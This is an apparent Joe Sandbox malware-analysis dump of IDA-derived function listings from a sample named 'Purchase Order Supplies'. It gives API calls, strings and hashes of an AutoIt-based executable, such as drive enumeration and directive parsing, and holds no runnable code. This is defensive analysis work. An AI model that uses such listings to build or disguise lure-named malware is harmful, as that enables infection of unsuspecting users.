Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: DialogNtdllProc_
String ID:
API String ID: 3239928679-0
Opcode ID: 0b28b725a5c0bee4bb7a602b180dd01dc9503272e249ba09fae8bb3a23d6af38
Instruction ID: b03ca7b9616405a29de62cdf2d27c9fe67e510d1e435f4db41e77558063e55b0
Opcode Fuzzy Hash: 0b28b725a5c0bee4bb7a602b180dd01dc9503272e249ba09fae8bb3a23d6af38
Instruction Fuzzy Hash: 0DE0E23820430CEFDB01DF88D844E8A3BA6FB1A350F004054FD048B361CB72A820EB71

Function 00CAB845 Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00CAAF7D: GetWindowLongW.USER32(?,000000EB), ref: 00CAAF8E

Part of subcall function 00CAB86E: DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00CAB85B), ref: 00CAB926
Part of subcall function 00CAB86E: KillTimer.USER32(00000000,?,00000000,?,?,?,?,00CAB85B,00000000,?,?,00CAAF1E,?,?), ref: 00CAB9BD

NtdllDialogWndProc_W.NTDLL(?,00000002,00000000,00000000,00000000,?,?,00CAAF1E,?,?), ref: 00CAB864

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$DestroyDialogKillLongNtdllProc_Timer
String ID:
API String ID: 2797419724-0
Opcode ID: 369dd26dc2b9ffe6371062f00db295c1bdd16d66b547bc32ebdd99f633b4085f
Instruction ID: a7e6715021b9819f924586b9693d8245bfac28b3bca934b0222e9082b09ef9e5
Opcode Fuzzy Hash: 369dd26dc2b9ffe6371062f00db295c1bdd16d66b547bc32ebdd99f633b4085f
Instruction Fuzzy Hash: D2D0127118430D77DF102BA5DC07F893E1EAB02755F408421FA05692E2CB716811A565

Function 00CB8E19 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00CB8E1F

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1be4398e09e6f548200deff44456f7c1901bee5c3ddb024118f555ae9b8f0c38
Instruction ID: 0278d4a422a344ec08c6e1e538421a9aac50737ba13cbabcefab6f740699aec2
Opcode Fuzzy Hash: 1be4398e09e6f548200deff44456f7c1901bee5c3ddb024118f555ae9b8f0c38
Instruction Fuzzy Hash: BAA0123000060CB78A001B51EC044847F5DD6041507008010F41C40121CB3354114591

Function 00CBA937 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00CB6AE9,00D467D8,00000014), ref: 00CBA937

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 166f29710806c40949f6fd19aecdc7cf4d23787e5dd4332a4667d4bd3832ad9c
Instruction ID: 1e2f703b96ea465b048e91cc828a9d2f49f0fb414d0ffcb39de3a80e2c7a94f9
Opcode Fuzzy Hash: 166f29710806c40949f6fd19aecdc7cf4d23787e5dd4332a4667d4bd3832ad9c
Instruction Fuzzy Hash: 8DB012F07033025BD7084B38AC5419E3DD95749202305803D7803C2760DF308450DF10

Function 00CB0EC4 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
Instruction ID: e710c2e2087d863d3e341516f16ea38c869c60860ac5f2c6b0379adc18c130e8
Opcode Fuzzy Hash: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
Instruction Fuzzy Hash: E6C1C57220529349DF2D463EC4344BFFBA16AA27B272E076DD8B3CB4C4EE24D665D610

Function 00CB12F9 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
Instruction ID: d8975dadce2e6f65032ee6919b0e0bc83967bc3577ca4e0a8a5eb96f83ee4d2e
Opcode Fuzzy Hash: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
Instruction Fuzzy Hash: 55C1EA722052934ADF2D463AC4344BFBBA15AA27B271E076DD8B3CB4D4FE24D725D620

Function 00CB0A8F Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: 2ef8f4587f85c82264c29b11634495db132c450c5ca7eddf910e893716628f60
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: 19C1C7722052934ADF2D463AC4344BFFBA16AA17B672A4B6DD4F3CB4C4FE24D624D610

Function 00CB0677 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: e290db56163e25378687700dede30628fdcce002744f4e623bda39a6c44eb938
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 40C1F87220529349DF2D463AC4344BFFBA16EA27B272A476DD4B3CB4C1EE24D725D620

Function 00CEA750 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 490filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00CEA7A5
DeleteObject.GDI32(00000000), ref: 00CEA7B7
DestroyWindow.USER32 ref: 00CEA7C5
GetDesktopWindow.USER32 ref: 00CEA7DF
GetWindowRect.USER32(00000000), ref: 00CEA7E6
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 00CEA927
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 00CEA937
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00CEA97F
GetClientRect.USER32(00000000,?), ref: 00CEA98B
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00CEA9C5
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00CEA9E7
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00CEA9FA
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00CEAA05
GlobalLock.KERNEL32(00000000), ref: 00CEAA0E
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00CEAA1D
GlobalUnlock.KERNEL32(00000000), ref: 00CEAA26
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00CEAA2D
GlobalFree.KERNEL32(00000000), ref: 00CEAA38
CreateStreamOnHGlobal.COMBASE(00000000,00000001,88C00000), ref: 00CEAA4A
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00D1D9BC,00000000), ref: 00CEAA60
GlobalFree.KERNEL32(00000000), ref: 00CEAA70
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00CEAA96
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00CEAAB5
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00CEAAD7
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00CEACC4

Strings

, xrefs: 00CEAC4A
DISPLAY, xrefs: 00CEAB27
static, xrefs: 00CEA9BF, 00CEAB16
AutoIt v3, xrefs: 00CEA977

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 5645aba7e101ab8fa32097cf83246b34b79fdc9af7bf8cd9854f86336914c760
Instruction ID: 927323d53fa989f2e32c29282846c165a53da61fb6f0fa95d773a2454fd36fd9
Opcode Fuzzy Hash: 5645aba7e101ab8fa32097cf83246b34b79fdc9af7bf8cd9854f86336914c760
Instruction Fuzzy Hash: 4C026E75900259BFDB14DF69CC89EAE7BB9FB48310F108159F915EB2A0DB34AD42CB60

Function 00CFD095 Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00CFD0EB
GetSysColorBrush.USER32(0000000F), ref: 00CFD11C
GetSysColor.USER32(0000000F), ref: 00CFD128
SetBkColor.GDI32(?,000000FF), ref: 00CFD142
SelectObject.GDI32(?,00000000), ref: 00CFD151
InflateRect.USER32(?,000000FF,000000FF), ref: 00CFD17C
GetSysColor.USER32(00000010), ref: 00CFD184
CreateSolidBrush.GDI32(00000000), ref: 00CFD18B
FrameRect.USER32(?,?,00000000), ref: 00CFD19A
DeleteObject.GDI32(00000000), ref: 00CFD1A1
InflateRect.USER32(?,000000FE,000000FE), ref: 00CFD1EC
FillRect.USER32(?,?,00000000), ref: 00CFD21E
GetWindowLongW.USER32(?,000000F0), ref: 00CFD249

Part of subcall function 00CFD385: GetSysColor.USER32(00000012), ref: 00CFD3BE
Part of subcall function 00CFD385: SetTextColor.GDI32(?,?), ref: 00CFD3C2
Part of subcall function 00CFD385: GetSysColorBrush.USER32(0000000F), ref: 00CFD3D8
Part of subcall function 00CFD385: GetSysColor.USER32(0000000F), ref: 00CFD3E3
Part of subcall function 00CFD385: GetSysColor.USER32(00000011), ref: 00CFD400
Part of subcall function 00CFD385: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00CFD40E
Part of subcall function 00CFD385: SelectObject.GDI32(?,00000000), ref: 00CFD41F
Part of subcall function 00CFD385: SetBkColor.GDI32(?,00000000), ref: 00CFD428
Part of subcall function 00CFD385: SelectObject.GDI32(?,?), ref: 00CFD435
Part of subcall function 00CFD385: InflateRect.USER32(?,000000FF,000000FF), ref: 00CFD454
Part of subcall function 00CFD385: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00CFD46B
Part of subcall function 00CFD385: GetWindowLongW.USER32(00000000,000000F0), ref: 00CFD480
Part of subcall function 00CFD385: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00CFD4A8

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: 6eb33cbd97cc3df6ca9fa08a499e0b78347c654d79660f9c58a8dc46e06a9bda
Instruction ID: 5c5f51373a0da00809f8741200beb815542115cdf70a3b13578d67af07be68a9
Opcode Fuzzy Hash: 6eb33cbd97cc3df6ca9fa08a499e0b78347c654d79660f9c58a8dc46e06a9bda
Instruction Fuzzy Hash: BB918171008305BFD7509F64DC08EAB7BAAFF85321F108A19F662D62E0DB75D945CB62

Function 00CEA3F7 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00CEA42A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00CEA4E9
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00CEA527
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00CEA539
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00CEA57F
GetClientRect.USER32(00000000,?), ref: 00CEA58B
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00CEA5CF
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00CEA5DE
GetStockObject.GDI32(00000011), ref: 00CEA5EE
SelectObject.GDI32(00000000,00000000), ref: 00CEA5F2
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00CEA602
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00CEA60B
DeleteDC.GDI32(00000000), ref: 00CEA614
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00CEA642
SendMessageW.USER32(00000030,00000000,00000001), ref: 00CEA659
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00CEA694
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00CEA6A8
SendMessageW.USER32(00000404,00000001,00000000), ref: 00CEA6B9
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00CEA6E9
GetStockObject.GDI32(00000011), ref: 00CEA6F4
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00CEA6FF
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00CEA709

Strings

DISPLAY, xrefs: 00CEA5D4
static, xrefs: 00CEA5C9, 00CEA6E3
AutoIt v3, xrefs: 00CEA577
msctls_progress32, xrefs: 00CEA68A

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 6488d1704be26dc94769ed2980ee608a6485c33a89ece68f28196dc9097930b4
Instruction ID: 058292ff085a70a84297bc7ebefc29c65b58f523fe26aac1356cecc91fc71056
Opcode Fuzzy Hash: 6488d1704be26dc94769ed2980ee608a6485c33a89ece68f28196dc9097930b4
Instruction Fuzzy Hash: 70A14D75A40315BFEB14DBA9DC49FAA7BB9EB04711F008114FA15EB2E0DB74AD41CB60

Function 00CDE44C Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 187COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00CDE45E
GetDriveTypeW.KERNEL32(?,00D2DC88,?,\\.\,00D2DBF0), ref: 00CDE54B
SetErrorMode.KERNEL32(00000000,00D2DC88,?,\\.\,00D2DBF0), ref: 00CDE6B1

Strings

FileBackedVirtual, xrefs: 00CDE67D
RAID, xrefs: 00CDE64C
CDROM, xrefs: 00CDE57F
Unknown, xrefs: 00CDE56B, 00CDE614
Network, xrefs: 00CDE589
SSD, xrefs: 00CDE5D8
ATA, xrefs: 00CDE629
MMC, xrefs: 00CDE66F
\\.\, xrefs: 00CDE4B3
Fibre, xrefs: 00CDE63E
ATAPI, xrefs: 00CDE622
PhysicalDrive, xrefs: 00CDE4EF
USB, xrefs: 00CDE645
SATA, xrefs: 00CDE661
SCSI, xrefs: 00CDE61B
Removable, xrefs: 00CDE59D
Virtual, xrefs: 00CDE676
RAMDisk, xrefs: 00CDE575
iSCSI, xrefs: 00CDE653
Fixed, xrefs: 00CDE593
SAS, xrefs: 00CDE65A
1394, xrefs: 00CDE630
SSA, xrefs: 00CDE637

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 2a5964e782179d6894a2a6b6c38bd21cc483986065ddee326b50917bbdbb928c
Instruction ID: 61a1fcbff7acf4cd9679790358eb8fea4dc75186a16f609326c2cbe333a48857
Opcode Fuzzy Hash: 2a5964e782179d6894a2a6b6c38bd21cc483986065ddee326b50917bbdbb928c
Instruction Fuzzy Hash: 8451A730204305AFC600FF19C8D1929F7A1AB64744B618A1BF656AF3D1EB70DF4AEB52

Function 00C9C714 Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 245COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00C9C741
__wcsnicmp.LIBCMT ref: 00C9C759
__wcsnicmp.LIBCMT ref: 00C9C771
__wcsnicmp.LIBCMT ref: 00C9C789
__wcsnicmp.LIBCMT ref: 00C9C7A1
__wcsnicmp.LIBCMT ref: 00C9C7B5
__wcsnicmp.LIBCMT ref: 00C9C7C9
__wcsnicmp.LIBCMT ref: 00C9C7E1
__wcsnicmp.LIBCMT ref: 00C9C8B2
__wcsnicmp.LIBCMT ref: 00C9C8C6
__wcsnicmp.LIBCMT ref: 00C9C8DA
__wcsnicmp.LIBCMT ref: 00C9C8EE

Strings

#requireadmin, xrefs: 00C9C76B
#notrayicon, xrefs: 00C9C753
Bad directive syntax error, xrefs: 00D0346D
#OnAutoItStartRegister, xrefs: 00C9C783
#comments-start, xrefs: 00C9C7C3, 00C9C8AC
#ce, xrefs: 00C9C8E8
#include, xrefs: 00C9C7AF
Cannot parse #include, xrefs: 00D03482
#include-once, xrefs: 00C9C79B
Unterminated group of comments, xrefs: 00D03475
#cs, xrefs: 00C9C7DB, 00C9C8C0
#pragma compile, xrefs: 00C9C73B
#comments-end, xrefs: 00C9C8D4

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: 08f92b0e236f49b366730c720292bfd4644aae94558188f5cba966e20740fb62
Instruction ID: 4527b623c0076a06671080c53cb2e2c0a366ef70f8fe375159c1b4453f1dd5ed
Opcode Fuzzy Hash: 08f92b0e236f49b366730c720292bfd4644aae94558188f5cba966e20740fb62
Instruction Fuzzy Hash: 32616B316403127BDF21EA649CC6FFA335CAF25344F140025FC56AA5C6EBA0DB15EAB1

Function 00C948C8 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 491windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00C94956
DeleteObject.GDI32(00000000), ref: 00C94998
DeleteObject.GDI32(00000000), ref: 00C949A3
DestroyCursor.USER32(00000000), ref: 00C949AE
DestroyWindow.USER32(00000000), ref: 00C949B9
SendMessageW.USER32(?,00001308,?,00000000), ref: 00D0E179
6FB00200.COMCTL32(?,000000FF,?), ref: 00D0E1B2
MoveWindow.USER32(00000000,?,?,?,?,00000000), ref: 00D0E5E0

